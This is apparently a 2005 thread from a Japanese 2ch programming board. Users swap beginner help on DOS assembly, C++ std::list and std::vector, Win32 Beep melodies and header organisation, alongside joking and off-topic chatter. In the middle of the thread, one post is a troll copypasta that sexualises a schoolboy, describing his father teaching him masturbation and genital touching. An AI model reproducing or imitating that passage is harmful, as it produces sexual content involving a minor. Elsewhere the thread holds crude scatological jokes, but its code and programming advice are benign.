org 0x0100 main: push func ret int 0x20 func: mov dx, msg mov ah, 0x09 int 0x21 ret msg db "Func",0x0A,"$" アセンブリでやってみたお nasmでアセンブルして欲しいお
360 :
デフォルトの名無しさん :2005/11/23(水) 16:32:53
他スレでDelphiが超嫌われてるっぽいんだけど そんなにだめかな?
362 :
デフォルトの名無しさん :2005/11/23(水) 16:49:36
2ちゃんねらーの言う事を信用しては駄目だ!
363 :
デフォルトの名無しさん :2005/11/23(水) 16:50:11
>>361 Pascalが理解できる(できている)ならいいと思うが
Delphiは普通にいい言語でしょ
>>362 あなたの言うことも信用しちゃダメなんですね
367 :
デフォルトの名無しさん :2005/11/23(水) 17:14:56
>>363 やりだしたのつい最近なんですけどわかり易くて楽しかったからいいなってw
>>364 そうですよね。ありがとうございます。
>>364 あんな自由度の低い言語の何処がいいんだよ
C/C++>>超えられない崖>>Java/VB/C#・・・>>>Asm/BASIC>>超えられないクレバス>>Delphi/Pascal
370 :
デフォルトの名無しさん :2005/11/23(水) 17:40:11
つまり、結論としてはVBAが一番ってことですね
誰も信じちゃダメだお(^ω^) 漏れはAsmマンセーだけどな!
なでしこ最強
>>372 あれ前使ってたが、ごちゃごちゃしててわかんない
375 :
デフォルトの名無しさん :2005/11/23(水) 17:47:31
>>359 の奴がどうなってんのかわかんないお(^ω^;)
>>375 func:がファンクションコール9番を呼んで「Func」って表示してるんだと思うお
main:のpushに何の意味があるのかは分からないお(;^ω^)
main:のretもよくわからない・・・
379 :
デフォルトの名無しさん :2005/11/23(水) 17:57:06
あ、pushとretでfunc呼ぶのか callを分解したようなもんか?
あぁ、そういうことか retがスタックからポップしたアドレスをIPにセットするのを利用して func呼んでるわけね ぶっちゃけ無駄じゃね?(;^ω^)
382 :
デフォルトの名無しさん :2005/11/23(水) 17:59:43
たぶんそうだな・・・
383 :
デフォルトの名無しさん :2005/11/23(水) 18:00:45
>>381 例えば悪意のある解析者に対しての錯乱とかw
>>383 うはwwwwwwwwwおkwwwwwwww
所でnasmでアセンブルしても実行形式ファイルができないんだが(;^ω^)
385 :
デフォルトの名無しさん :2005/11/23(水) 18:04:00
>>384 0x0100番地から始まってるからcom形式じゃね?
>>385 comに変更してみたお
>指定されたデバイス、バス、またはファイルにアクセスできません。アクセス許可がない可能性があります。
うはwwwwwwおkwwwwwww(;^ω^)
>>369 ある程度以上の規模のプログラムを自分で書いたことがあれば
わかるんだけど、自由度の少ない言語は それと引き換えに
安全性を買っているんだよ。だから自由度が少ない=うんこ というのは
乱暴な考えだよ。 悔い改めろ。
Delphiって最強だと思うよ お手軽で高速でサイズも小さくなるし、コンパイルも早いし Cしかつかったけどないけど
388だけど最後の行はスルーしてくれ(^お^)
390 :
デフォルトの名無しさん :2005/11/23(水) 18:21:55
391 :
デフォルトの名無しさん :2005/11/23(水) 18:42:08
>VisualC++ UNIXOSはこれで書いてる。プログラム作り難い。ny作者がGUIに凝る為bcbに逃げた実績あり。 すげぇ UNIXってVisual C++って書いてたのか
WinネイティブなUNIXもあることだし
gccじゃないのか・・・
Windowsだって一応Linux程度にはUnixだろ。 BSD系ほどではないが。
>>394 をいをいwwwww
UNIXOSを作成する過程で出来上がったのが初期のC言語コンパイラってだけだろ。
ここでgccの話持ち出してくるのは、
>>392 の引用と程度はかわらんぜwwww
397 :
デフォルトの名無しさん :2005/11/23(水) 18:58:49
POSIX準拠らしいしな>Win2k
>>396 ただ単にOS作るのに使うコンパイラの話じゃないのか
Windows NT系がPOSIX準拠なのは、 なんでも米国政府が使うコンピュータに搭載するOSはPOSIX準拠でないといけないというのが発端らしい。
POSIX準拠ってただのPOSIXサブシステムじゃん こんなのUnixライクですらないよ
↑見た目でしか判断できないヤツ
↓違いの分かる男
むかし9801使ってた頃TurboPascal+AsmでSTG作ったことあるけど、 その後Cを触ってPascalで作った事を後悔した。
いまどきテンプレートもない言語で大規模アプリなんかつくれね〜よ >ny作者がGUIに凝る為bcbに逃げた実績あり。 あの程度のGUIでBCB/VCLに頼らなきゃならない作者のが問題だろ〜
>>404 頼るっていうか利用してるだけだろ。
楽に出来るところは楽にやったほうがいいにきまってる。
>>406 そう言う事言ってると本当に見かけでしか判断できない奴になるぞw
POSIXサブシステムをインストールしてるだけでPOSIX準拠じゃねーよ かす うんこ かす かす
409 :
デフォルトの名無しさん :2005/11/23(水) 20:53:08
Windowsって何で書かれてるの? Cって聞いたんだけど
>>410 漏れもCって聞いた
なんかwindowsのバグってアドレスに場所間違えただけらしいよ
C++も聞いたことある
Fortranも聞いたことある
ソースみろよ
政府の要請じゃねえと見せねえよ
日本政府が要請したら見せてくれるの? 日本じゃ無理じゃね?
microsoft社員呼んで来い
東大にWindowsのソースの一部あるだろ
リークしたソースをネットで公開してる奴いなかったっけ
今、学校ではセックスの授業がある。でも僕はそれがとっても苦手だった。お父さんが時々パソコンでオナニーをしているのを 見るけど、なんか、ちんぷんかんぷん。こんな難しいこと僕にはできないよ、って思ってた。でもこの前、調べ学習で インターネットを使う宿題が出たとき、お父さんが「アナリスクは難しくないんだよ」 って、いろんなことを教えてくれたんだ。 フリスクの使い方や子供の作り方、お母さんに内緒でちんちんの弄り方も覚えちゃった。 うん、やってみると案外僕にもできるかもしれない ! アナリスクを覚えてからは、2ちゃんねるがとっても楽しくなってきた。 苦手な尻有だって、声優の聞き分けだって僕に任せてって感じ。なんか、いろんなことがしたくなってきた ! わからないことや知らないことは、ママに聞けばいいんだね。
SFUとcygwinってどっちがいい?
Linuxって使う場面ないんだけど
>>427 公式サイトみてきたけどなんかぺんぎんが冷たくなってた
GCCって使う場面ないんだけど
Linuxって使う場面ないんだけど
Linuxって使う場面ないんだけど
436 :
デフォルトの名無しさん :2005/11/23(水) 21:53:54
/⌒⌒⌒⌒⌒⌒ )) ( 从 ノ.ノ ( ./  ̄ ̄ ̄ ̄\ |:::::: ヽ ... ...丶. |::::._____ __) ) / <MSにWindowsのソースを要求する。 (∂: ̄ ̄| ̄・` |=|・ ̄ | ( ( ( (  ̄ )・・( ̄ i n.n )ノ ______ ヘ\ .._. )C( ._丿.=|_|=・. │ | \__\___ / \ヽ _二__.ノ <つ(.(rヽ | | |= |iiiiiiiiiii| /⌒ヽ. \__/\i/\ ヽ .( .ノ | | | =. |iiiiiiiiiii| | ヽ ____\o\./ |. | | |三 |_「r.、 | // // ̄.\ \二| |_..|_/( ) ̄ )) ヽ ______//r_/| |.||⌒ヽ〜〔 ̄ ̄! ̄ ̄ ̄/ ̄ ̄\((
アメリカじゃLinux使いは共産主義者って呼ばれてるけど 日本じゃさしずめ社民党だな
なんかマイクロソフトの焦りを感じる・・(;^ω^) もうちょい落ち着いてもいいと思うお(;^ω^)(;^ω^)
>>405 あの程度のもんをSDKorMFCで作るのが面倒とかいう時点でおかしいだろ。
東大助手に何を言っているんだ、君は! (><(*)ひぎぃ!お尻ぷりんセス!
文字列を行ごとに分けるプログラムを書いてみた。こんな感じでいいのかな・・ BOOL GetNextLine(LPCTSTR& pSrc, CString& Line) { if(!pSrc) return FALSE; if(!*pSrc) { Line.Empty(); pSrc = NULL; return TRUE; } LPTSTR pLF = _tcschr(pSrc, '\n'); if(!pLF) { Line = pSrc; pSrc = NULL; return TRUE; } INT nLen = pLF - pSrc; LPTSTR pBuf = Line.GetBufferSetLength(nLen); _tcsncpy(pBuf, pSrc, nLen); Line.ReleaseBuffer(nLen); pSrc += nLen + 1; return TRUE; } whileで回して使う。 while(GetNextLine(pSrc, Line)){nNumLines++; }
>>440 2ちゃんねら〜は学歴・権威によわいでしゅね。ぶぎゃw
>>441 悪いことは言わん
文章処理系はPerlに任せるべき
>>442 東大助手は忙しいから少しでも時間節約したいんだよ
>>444 いそがしいなら隠れてnyなんか作れるかよ。
笑わせるなw
>>443 に激しく同意
まぁレポート載せるソースコードを80文字で改行するためのプログラムをCで書いておいて
最後にゴミが付くというバグに気づきながら放置してる俺が言えた事じゃないが
はいはいワロスワロス もう終わりね
?
while(0) { print "?"; }
生産性無視して作ってもな〜 wWw<MMORPGのクライアント作ってくれ (’д`)<うはおkwwwwwwnasmで作ってくるwwwwっうぇ
>>448 本格的にカレー食いたいならインドに行く方が効率的だろ
それと一緒だよ
今D言語な家に住んでいます。 外に出るのメンドクサス
本場のカレーが本格的なカレーとは限らない
本格的なカレーがうまいカレーとは限らない
近場にある怪しいインド料理店のほうが本格的なカレー作ってくれるかもな!
ってか、そもそも本格的って定義はなんなんだろ(;^ω^)
>>453 「本格的にカレーを食べる」なら
ココイチで吐くまで食べりゃ済むと思うお(^ω^)
456 :
デフォルトの名無しさん :2005/11/24(木) 07:22:28
カレー味のウンコとウンコ味のカレーだったら、雑菌少ない方を選ぶのがベターだと思うんだ
なるほど
458 :
デフォルトの名無しさん :2005/11/24(木) 07:56:30
ちょっと聞きたいんだけどさぁ。 ここにVIPのコテが来てCを学びたいとか言い出したら荒れるよな? ちなみに空気コテだけど。
459 :
デフォルトの名無しさん :2005/11/24(木) 08:11:58
そいつはこのスレが求めてる逸材と見た!
460 :
デフォルトの名無しさん :2005/11/24(木) 08:15:38
マジ?荒れないかな? Hello!worldレベルのコテじゃ流石にヤバイよな。 彼、コテにしてはめずらしくTPOをわきまえるんだよ。 だから本気で気にしてるんだ。
荒れないからコテ出して♥
どうも…空気コテです…
まずはメンバーの自己紹介からどうぞ
464 :
健太 ◆wJpsfBhkdM :2005/11/24(木) 08:28:25
……また来ます |vip| λ....
健太 ◆wJpsfBhkdM の検索結果のうち 日本語のページ 約 3 件中 1 - 2 件目 (0.12 秒) これはいい空気ですね
VIPは日に日に悪くなっていくな
みんなHello World から始めたんだ。 恥ずかしいことじゃないぞ。 (・∀・) カエッテコーイ!!
>>455 「カレーの本場」といえばインドだろ。普通に考えて本格的にインド食べたかったらインドに行くべき
しかも日本はカレーが高い。大量に食べるならインドの方が圧倒的にお得。
469 :
デフォルトの名無しさん :2005/11/24(木) 12:24:38
>>468 ちょwwwwwwwwwwww 旅費と移動時間は計算外かよwwwwwwwwwwww
>>469 日本の家賃>>>旅費・インドの家賃
じゃないのか
471 :
468 :2005/11/24(木) 12:27:12
うはwwwwwwww考えてなかったwwwwwwwwwww 俺テラヤバスwwwwwwwwwwwwww
472 :
デフォルトの名無しさん :2005/11/24(木) 12:27:16
つまり、人類はスペースコロニーに移住しろってこったな
旅費=bcbの値段 移動時間=近くの電気屋さんまでの道のり÷速さ カレーの値段=開発効率
BCB実行ファイルデカス
少しくらい我慢しろ
476 :
デフォルトの名無しさん :2005/11/24(木) 14:07:39
>>475 ナローバンドなんだろ。優しくしてやれ。
∧_∧ (*´∀` ) <優しくしてね パンパン / _ノ⌒⌒⌒`〜、_ ε( ̄⊂人 //⌒ ノ ヽ) ⊂ニニニニニニニニニニニニニニ⊃
へ へ|\ へ √ ̄| へ ( レ⌒) |\ ( |\)| |/~| ノ ,__√ /7 ∠、 \ . 丶\ _ __ |\_/ /へ_ \) | | | |∠ | |__ | / ! | | |_〜、 レ' レ' \_./| |/ \ .| |( ̄ _) | ) | | i | へ_,/ ノ ,へ / / ̄~ヽ ヽ. | | フ ヽ、 ノ √| | ! レノ | !. \_ ー ̄_,ー~' ) / /| | | | | |( ノ| |`、) i ノ | | \_ノ ノ / フ ! (~~_,,,,/ノ/ | | | | / / | | . し' ノ ノ | | / / | |  ̄ \\ノ | / / | |___∠-". | | ノ / ノ | /( \_ノ_/ / (____) し' ノ/ / / | 〜-,,,__ ∠-''~ ノ/ (_ノ 〜ー、、__)
僕をできる限りC言語PGとして育ててください!!!!! ヒキなので常時スタンバッってるので、ぜひお願いしたい どうにか大学の奴達より賢くなりたいんだ!!! ポインタ辺りは理解した!!でも何をやっていいのやら・・・ 時間だけはたっぷりある。スルーはしないでくれーーーーーーー!!!
480 :
デフォルトの名無しさん :2005/11/24(木) 14:36:39
>>479 Hello, world!だ
org 0x0100
mov ah, 0x09
mov dx, msg
int 0x21
ret
msg db "Hello, world!",0x0A,"$"
481 :
デフォルトの名無しさん :2005/11/24(木) 14:36:44
>>480 HELLOW WORLD はもう完璧だす・・・
>>481 そんな事いわないでくれよ〜〜〜('A`)
教えてくださああああぁっぁっぁっぁああいい
自力で学ぶ力がないとプログラマとしてやっていけないよ
>>483 今まで全部独学でやってきたので、何をやったらいいのか
分からないんですよ。ポインタまでやって、線形リスト、
多次元配列、関数へのポインタ→最近qsortをやり始める。
でも問題出されてもできない事がおおいので、教えて欲しいです・・
>でも問題出されてもできない事がおおいので、教えて欲しいです・・ これは「慣れる」しかない 実際にソースを読んだり書いたりしてるうちにプログラムの書き方を覚えてくる
>>487 慣れですか・・・ソースを読むのは参考書程度ではやっぱダメですよね
もっと参考書立ち読みしてきますorz
矛盾してないか…?w
>>489 はあああぁぁ!!!やったあぁ!!!本屋行かなくてすむ。
ありがとうございます。ソース見まくって頑張ります(`・ω・´)
>>488 雑誌読め、プログラミング雑誌、定期購読しろ
>>492 ソースの種類がいっぱいあってたのしそうです(`・ω・´)
>>493 プログラム雑誌なんてのもあったんですか!
毎日本屋に読みに行ってみる事にしますよ。
Java (292 projects) C (279 projects) C++ (241 projects) Java多いな
>>494 Win32のプログラムはまだですか?
497 :
デフォルトの名無しさん :2005/11/24(木) 17:00:48
>>456 カレー味のうんことうんこ味のカレーだったら、
おそらくうんこ味のカレーを選ぶ人の方が多いだろう。
しかし、うんこ味のカレーを作るためには、
うんこってどんな味なのか?を知らねばならない。
また、カレー味のうんこをいかにして作るか?という
議論もなされていない。
うんこ味のカレーを作るために、カレーにうんこを混ぜてしまっては元も子もないし、
カレー味のうんことかいってうんこにカレー粉をかけただけでは名前に偽りあり、だ。
まず、「うんこ味とは」「カレー味のうんことは」を議論すべきだ。
498 :
デフォルトの名無しさん :2005/11/24(木) 17:07:47
うんこ味のカレーの匂いはどうするのかも議論されてないではないか 味だけに捕われないトータルな議論が必要だと思うが。
499 :
デフォルトの名無しさん :2005/11/24(木) 17:09:41
はいはいわろすわろす
いまだにチマチマリスト構造操作クラス作ってる者ですが・・
stack型リストにがんばってなんとか汎用性を持たせてみる
ttp://www.vipper.org/vip146355.txt 駄目じゃ〜。
シンプルかつ安全なものを目指してるのに、
じぇんじぇんそんなんできないYO!
これじゃCHumanDataのスタックをコントロールするクラスを作らなきゃいけないじゃないかぁ。。
安全かつ自動的に回せるループも思い浮かばないいぃぃ (ToT)
ループはインデックスを指定して回すべきか・・いやそれじゃ・・・
また面倒なことに・・・・うはwwwっうぇwwっうぇwwwww
Delete_Allはデストラクタの中で呼べばいいだけでは? あと、安全なものを目指すのなら静的な配列に文字列コピーするのはどうかと
そんなことしたら、ノードひとつ削除するごとにDelete_Allが実行されね?
>>502 ソースよく読んでなかった
自身をメンバに持つクラスなのねん
メンバにデータ型(CHumanDataとか)を持っていて、
それを操作するクラス(CStack)ってのはダメなの?
>>500 シンプルと安全性はトレードオフじゃまいか?
それはそうとして、リストならとりあえずCで実装してふいんきだけ掴めばそれでいい希ガス
C++ならlist<>があるわけだし
せっかくprivateっていう隠蔽があるんだから使わないと安全性も糞もないお
Delete_All()は今すぐデストラクタに入れてもだいじょうぶなのですが、
Stackから一個削除されるたびにDelete_All()が呼ばれるので(処理はスルーするけど)
なんか効率悪いな〜と思いまして・・
文字列コピーは今は、テスト中なのでどんな値を入れてもよかったのです。
たまたまメンバに文字列入れてるだけでして。確かに安全じゃないっぽいですね。。
>>503 CStackを色んなとこで使いたいので、
CStack側にメンバを追加するのはめーなんです。
>>504 リスト構造を理解するために作ってるんですが、
そろそろ投げたくなってきた。
>>505 そですよね。そなんですけど、
隠蔽しながらループ回す方法を思い浮かばなかった orz
GetTopAddress()とGetNextAddress()をメンバに追加すれば隠蔽だけは可能かなぁ。。
みなさんどうもありがとー m(__)m
リストの使い方の例(コンパイルしてないから通るか不明) #include <iostream> #include <list> using namespace std; int main(int argc, char *argv[]){ list<int> container; for(int i = 0; i < 5; ++i) container.push_back(i); //最後尾に1個ずつ追加 //先頭から順次表示 for(list<int>::iterator it = container.begin(); it != container.end(); ++it) cout << *it << endl; container.pop(); //なんとなく先頭1個削除 container.clear(); //する必要ないけど }
-container.pop(); //なんとなく先頭1個削除 +container.pop_front(); //なんとなく先頭1個削除
>>507 おお、素晴らしい。それが噂に聞くstd::listってヤツでしょか。
そうそう、そういうのが理想なんですよ〜。
iteratorってなんだよまったく。
英和辞典で調べたら
it・er・ate
繰り返す; 繰り返して言う.
it・er・a・tion ━━ n. 【コンピュータ】(プログラム中の命令の)繰り返し, 反復.
と出た。なんか超便利っぽいぞ。
あー、、どうやってループ回そうかな。
>>509 とりあえずAcceleratedC++読んでみれ
Stringとvectorだけだったと思うが、簡易版を実装してるから
listを実装する上でかなり参考になるはず
特にiterator絡みとか
STLの基本 コンテナ/イテレータ/アルゴリズムの3つに分けて考えることで、直交性を高めてる。 コンテナ list/vector等のデータを格納する構造 イテレータ コンテナ内のデータを指すためのポインタのようなもの アルゴリズム イテレータを利用してサーチやらソートやらを行う コンテナはbegin()/end()で最初/最後の「次」の要素を返すイテレータを 取ってこれるので、そのイテレータをbegin()でとってきたイテレータを ++してend()で終了させれば全ての要素を走査できる。
うわわけわからん日本語になってるな
std::list<int>ってやるとint型のリストを「管理する」コンテナが できるってところがミソかなぁ〜 begin()/end()とかを保存はしてるけど、それ以外のアルゴリズムに 必要な状態の保存はiteratorやら関数オブジェクトに任せるとか。 そういうのを考えながら見ると参考になるかと。
>>511 >>514 チョッコウセイ???
知らない言葉ばっかでもうなにがなんだか・・
イテレータってのを鍵にして色々操作してるかのな。
あの、
>>507 の場合、上から3番目の要素だけ表示したい場合とか、
どうするんでしょか。
Cの配列みたく、やぱインデックスで指定でしょうか?
cout << container.disp(2) << endl;
みたいな・・
ん? list<int>::iterator it = container.begin(); it+=2; cout << *it << endl; こうか??
>>515 list<T>には確かランダムアクセスイテレータは無いはず
リストの3番目の要素にアクセスとかは無理
地道に先頭(末尾)から追っていってください
vector<T>は普通の配列と同様に扱える
ちなみに要素を追加すればするだけ、勝手に伸びてゆくという便利な代物
それと、Acceleratedは普通の本とは進め方が全く違う
C++の文法的な事はすっとばして、stringだとかvectorだとかをのっけから使いまくる
継承やポインタが10章とかにならないと出てこない
>>515 コンテナ:データ(組込型でもクラスでもなんでも)を入れるための入れ物
イテレータ:コンテナを色々弄るため物。必需品
アルゴリズム:十徳ナイフみたいなあれば便利なもの
>>515 >あの、
>>507 の場合、上から3番目の要素だけ表示したい場合とか、
std::advance(it, 2);
配列のようなvectorでは+=とかが使えるんだけど、
リストは+=のような操作が構造的に遅いために、
わざと+=が使えないようになってる。
一応std::advance()というアルゴリズムは用意されてるので
これを使えばOK。
Vipperはやぱいい人が多いよ〜 用語解説までやってくれてホントありがとうです ノω`)・゚・。。 vectorは聞けば聞くほど超便利そうな感じ。 Acceleratedは私にはまだまだ早いかな。でも良書っぽいので、ぜひ見てみます。 「アルゴリズム」ってのは自分で実装するアルゴリズムだと思ってたんですが、 ちょっと違うようですね。自動的にソートとかしてくれるんでしょうか。 C++道はまだまだ長し。てゆか、ゴールってホントにあんの?
>>520 確かソートもalgorithmにあった希ガス
最もlistについてはそれが適用できないので、別途メンバ関数を持ってたと思うが
523 :
デフォルトの名無しさん :2005/11/25(金) 22:28:03
usageの ./a.out って直打ちじゃ意味ないのでは…w 自身へのパスは argv[0] だお
525 :
デフォルトの名無しさん :2005/11/25(金) 22:36:09
>>524 なんだかめんどくさかったお(^ω^;)
526 :
デフォルトの名無しさん :2005/11/25(金) 22:37:39
-o xxx.exe xxx.c
今日は朝生見ながらプログラム〜 ^^
532 :
デフォルトの名無しさん :2005/11/26(土) 00:57:16
>>532 の画像がかわゆくて、ついつい保存しちゃった☆
>>509 反復子という意味もあるぞ。
スピードメーターの針みたいなものだ。
針を順にズラしてデータの参照先を変えて
データ参照を繰り返す。
朝生 キタ━(゚∀゚)━!!! 少子化問題とか興味ナッシング!! 今日はプログラムが進みそうだお
>>534 あ、どもありがとございます m(__)m
ちょっと話違いますけど、
vectorって、配列みたく「3番目の要素を取り出す」
みたいなのが簡単にできるんですよね。
自分でリスト作ったら、3番目の要素取り出すときは
1番目から(もしくは最後から)回さないといけないから
どう考えても遅くなるんですけど、
そういうのはvector様はどうやって解決してるんでしょか。
昨日から考えてるけど、アフォなので全く思い浮かばない。。
>>536 vectorなら配列と同じに v[3]とか添え字でアクセスできる
おそらく連続した領域にメモリ確保してると思われる
>>537 連続してるのに、あとで配列に追加(しかも末尾or先頭に追加)したり
間を抜いたりできるというのを両立するにはどうすればああぁぁ
あー、そんな便利な箱、どこの天才が作ったんだろ。
今緩い地震来た @東京都内
vectorはC言語の配列と同じように扱えて、 配列の幅も自由に変更可能で(realloc するようなもの) 配列自体は最後に解放する必要はない listはC言語で自分でソース書いたらわかると思うけど 要素の追加・削除が高速に行えるが、 メモリ上では連続してないから配列のようには扱えない STLなら他にも deque, set, multiset, map, multimap とあって、それぞれ長所短所あるので使い分けが重要でっせ
>>538 確保しておいた領域で足りなくなったら
他のところへもっと大きい領域を確保して要素をすべてコピーするんだよ
だから、頻繁に要素の数が増減するような処理には向かない
そういうときこそlistとかを使う
おや、ホントアフォな質問ばっかで申し訳ありませんが、 もしかしてlistよかvectorの方が遅い?? それならちょっと納得するかも。
うは、かぶった orz
>>541 にゃるほど。それなら納得です。ども m(__)m
今まで自由に増減できて、かつ各要素へのアクセスが高速な
魔法の箱だとばかり思ってましたわ。
>>542 >もしかしてlistよかvectorの方が遅い??
インデックスでランダムアクセスするならvectorの方が速い。
>>544 おk。ぼんやり把握しました。感謝です ><
C言語を勉強するときにlistを自作させられるのも その辺の長短所を前もって理解しておいたほうが良いって事を見越して 誰もが学ぶ道、のはず やること増やすようだけど、 STL予備軍であるboostなんて便利なライブラリもある STL終わったらどういう機能があるかぐらいは見ておいて損はないと思うよ
今まさにlist自作してたり (^ω^; もう一週間ぐらいやってますよ。。 なんとか今晩中に卒業したぃ。
でもリストって利用頻度高いか? 分岐やロードのペナルティの大きい今のCPUには向かない実装だ。
だからなによ?
VIPPER分が足りないぜwwwwww (^ω^)⊃ _,,..,,,,_⊂ミ⊃ ) プルルン ./ ,' 3 `∩ηっ l ⊃ ⌒_つ `'ー---‐''''' /⌒ヽ ( 人 ) | | ボゥッ!!!!!! | ノ(| |.⌒| (^ω^;) _,,..,,,_| | (つ ⊂) / ,' 3 | |ーっ l ⊃ ⌒_つ `'ー---‐'''''"
朝生が盛り上がって参りました
今朝生見たほうがいい! アキバ系男がめちゃくちゃ言われてるww
うはwwwおいらのことが話題になってるwwwプログラムどころじゃないぜwwwwwwうぇwwっうぇwwwwwwww
見逃した悪寒
森永さんが痛々しいよ・・・_| ̄|○
おい、おまいら、ニート引きこもりは精神科に行ったら精神病と認定されて 生活保護もらえるらしいよー
ただオイラの予想だと、生活保護切る議論は そろそろ巻き起こると思うよん♪
558 :
デフォルトの名無しさん :2005/11/26(土) 10:55:12
そろそろ働けばいいじゃn
働いたら負けかな、と思ってる
561 :
デフォルトの名無しさん :2005/11/26(土) 12:16:47
負けでもいいじゃn
「思ってる」ってだけで、どうやっても現実とはちがうから
>>559 そもそもリストの用途って、大量の構造体を処理するようなときに
とりあえず全部リストに読み込んで、処理が終わった奴から順に
切り離していくような使い道じゃまいか?
お金あるから働く意味ないし
うらやまC
>>563 ((;゚Д゚) < マ、マジッスカ!!
ディレクトリ構造とか実現するのに使うかな、程度。 あと、Windowsのハードディスクの記録方法(FAT/NTFS)もリスト構造だよね。
ファイル整理してたらでてきた #include <windows.h> int main(int argc, char* argv[]) { int sayuri[][2] = { { 330, 250 }, { 330, 250 }, { 330, 250 }, { 330, 250 }, { 349, 250 }, { 330, 250 }, { 440, 250 }, { 440, 500 }, { 440, 250 }, { 490, 250 }, { 440, 250 }, { 523, 250 }, { 523, 250 }, { 523, 250 }, { 523, 250 }, { 490, 250 }, { 440, 250 }, { 330, 700 }, { -1, -1 }, }; int i; for(i = 0; sayuri[i][0] >= 0; i++) Beep(sayuri[i][0], sayuri[i][1]); return 0; }
>>569 ちょwwwwwwwwww
すごいがそんな曲(゚听)イラネ
これぞVIPクォリティwww
ワロッシュwwwwwwwww
選曲の基準がわからねえwwwwwwwwww
cygwinでコンパイルできる?
この曲って「上野発の〜」であってる?w
うえのはつの・・・ どういうしくみだ?
bcc32ではコンパイル通った
MinGWでもおk
>>583 わざわざ.net2.0使わなくても、Win32API叩けばNT3.51時代から出来てる事な訳だが
おもしれwwwww beepでこんなことできたのかw
>>584 Windows API に依存しなくて済むじゃん。
.NET 2.0 が使える環境ならどこでも鳴らせるわけで。
.NET 2.0の環境なんて限られてるだろ
>>589 その場合、依存先がWin32APIから.net2.0に変わっただけだろ
それに将来的にどうかは別としても、少なくとも現状で使える環境の数は
Win32API>>>>>(超えられない壁)>>>>>>.net2.0
要するにmonoとwineの違いですよ
593 :
589 :2005/11/26(土) 20:58:59
>>591 言われてみりゃ確かに。
俺も 2.0 入れてないし。
#include <windows.h> int main(int argc, char* argv[]) { int sayuri[][2] = { { 233, 200 }, { 208, 200 }, { 185, 200 }, { 156, 400 }, { 185, 400 }, { 208, 400 }, { 185, 200 }, { 208, 400 }, { 233, 200 }, { 208, 200 }, { 185, 200 }, { 233, 400 }, { -1, -1 }, }; int i; for(i = 0; sayuri[i][0] >= 0; i++) Beep(sayuri[i][0], sayuri[i][1]); return 0; } 二番煎じだが勢いで作ってみた。
C++のヘッダーとソースに書く #includeの記述ってどんな風に分けて書けばいいんだろう? ソースでヘッダーをincludeするのは当たり前として 他にも<windows.h>とか色々書く場合どっちに何を書けば良いのかわけわかめ
>>595 関数の実装側だけで用い呼び出し元から参照する必要の無いヘッダはなるべくソース側で
インクルードするのが正しい。不要なシンボルの重複を避けるのに有効。
あと、Boost.Regex++使うと、グローバルネームスペースでregex_tとかのシンボルが定義される。
てか、regex_tAとregex_tWをマクロで切り分けてるのね。
やたら行儀悪いのなんの。
いっぺんOnigurumaとのパフォーマンスベンチプログラム作ろうとしてハマったことがある。
てか正規表現ライブラリって大抵基本型の名前がregex_tなんだよね。中身は非互換。
結局oniguruma.hをインクルードする際にネームスペース切って解決したけど。
俺の場合はテンプレート多様派でヘッダにクラスの実装をガリガリ書くのが好み。
コンパイルに時間かかるけど。
あと、殆ど効きもしないのにプリコンパイルヘッダがdでもない大きさになるから
基本的に無効にしている。
>>596 なるほど、ありがとう。
よく考えて分けなきゃですね。
最後の、ヘッダーに実装をがりがり書くというのはWTLがまさにそれですね。
量が増えてくると手直しする必要があった時、面倒くさそうですがどうなんでしょう。。。
おまえら天才だな
>>600 いや、俺らは天才じゃない、むしろ凡才
だが秀才にはなれる
602 :
デフォルトの名無しさん :2005/11/26(土) 23:42:02
ちょっと待て。俺は天才だぞ。
>>601 君、この私と君を一緒にしないでくれたまえ。
不愉快極まりない。
>>599 そうまさにまさにWTL。
多重継承を効果的に使って1ファイルののサイズが増えないように・・・してるつもりだけど、
そううまくもいってない。諸刃の剣す。
基本的にメッセージリフレクションを使って再利用しやすいように作ってみている。
メッセージリフレクションといえば、CWindowWithRefletorImpl<>は、CreateWindowで作るぶんには
いいけどダイアログ(フォーム)ベースだとうまくいかないことがあるから使ってない。あと他にも
クライアント領域とかの制限があったような。
>>596 #include <boost/regex.hpp>のほうを使え。
>>605 いや、そっち使った時点でそうなってたんだけど。
1.31〜32の頃かな。
もう鬼車に完全に乗り換えたからいいけど。Ruby好きだからこっちのほうがしっくりくる。
ユーザー入力の字句チェックのために正規表現使ってるんだよね。
鬼車はカスタム構文を自分で定義できるから結構思い通り(独り善がり)の解析ルーチンを作りやすい。
いちおう1.33のregexも評価してみた。PCRE構文との互換性がアップしたけどやたら遅くなった希ガス。
>>601 中学の時同じ事言ってたやつがいたけどよ
まあ、なんだ
今日もいつものエウレカ待ち ^^ ちょっと早く起きすぎたw
だれかmakefileについて詳しく教えてくれる人いない〜?
エウレカっての初めて見たけど何か面白いな
オワタ。よかった。来週までは生きていようとおもた。
なんだ?心の病気か?
(-_-) エヘヘ
エウレカセブンは朝からグロいもん見せてくれるぜ^^
先週はもっとグロかったよん♪
エウレカやってるとき子供はゾロリ見てるから大丈夫^^
今日のサンデープロジェクトは荒れそう
今のっけから社長が絶叫したwwww
>>617 じゃあ来週はもっとヤバ展開をきぼんしとく。
ゾロリ見ようとテレビつけたらちょうどエウレカのグロシーン^^
放物線のデータをテーブルに持っておいてそれをなぞる。
y = a * (x * x) + b
>>620 すげーえ。
こういうのDelphiでも作れるかなあ。
憧れるよ。
625 :
620 :2005/11/27(日) 14:05:02
>>621 んと、
int Houbutu[] = {-5,-4,-3,-2,-1,0,1,2,3,4,5};
みたいな半円が書けそうなデータを持っておいて、
タイミング良く順番になぞるってことでしょか。
うーん、データ量がメチャ増えそうですが、それでいけるかな・・。
sinの波形?でやると、綺麗に見えそうな気も。
どうもありがとうございます m(__)m
>>622 うはwwありがたいんだけどwwわがんねwwww
ひ、ヒントプリーズ (´д`)
>>623 なんか激しく勘違いしてるっぽいですけど、
>>620 のは上下に物体を動かせればすぐできます。
嘘放物線なので、ぶっちゃけ簡単です・・
void parabolic( double g, /* 重力加速度 */ double v, /* 初速度成分 (速さ) */ double d, /* 初速度成分 (仰角) */ double t) /* 経過時間 */ { double vx = v * cos(d); /* 水平方向の速度 */ double vy = v * sin(d); /* 鉛直方向の速度 */ double ax = 0; /* 水平方向の加速度 */ double ay = g; /* 鉛直方向の加速度 */ double x; /* 時間tでの座標x */ double y; /* 時間tでの座標y */ x = vx * t; /* 等速直線運動 (ax=0) */ y = vy * t + (ay * t * t) / 2; /* 等速加速度直線運動 */ } こんな感じじゃなかったかなぁ > 放物線
627 :
620 :2005/11/27(日) 14:49:20
>>625 激しく勘違いしてたというか
何か計算が大変そうでw
やってみるw
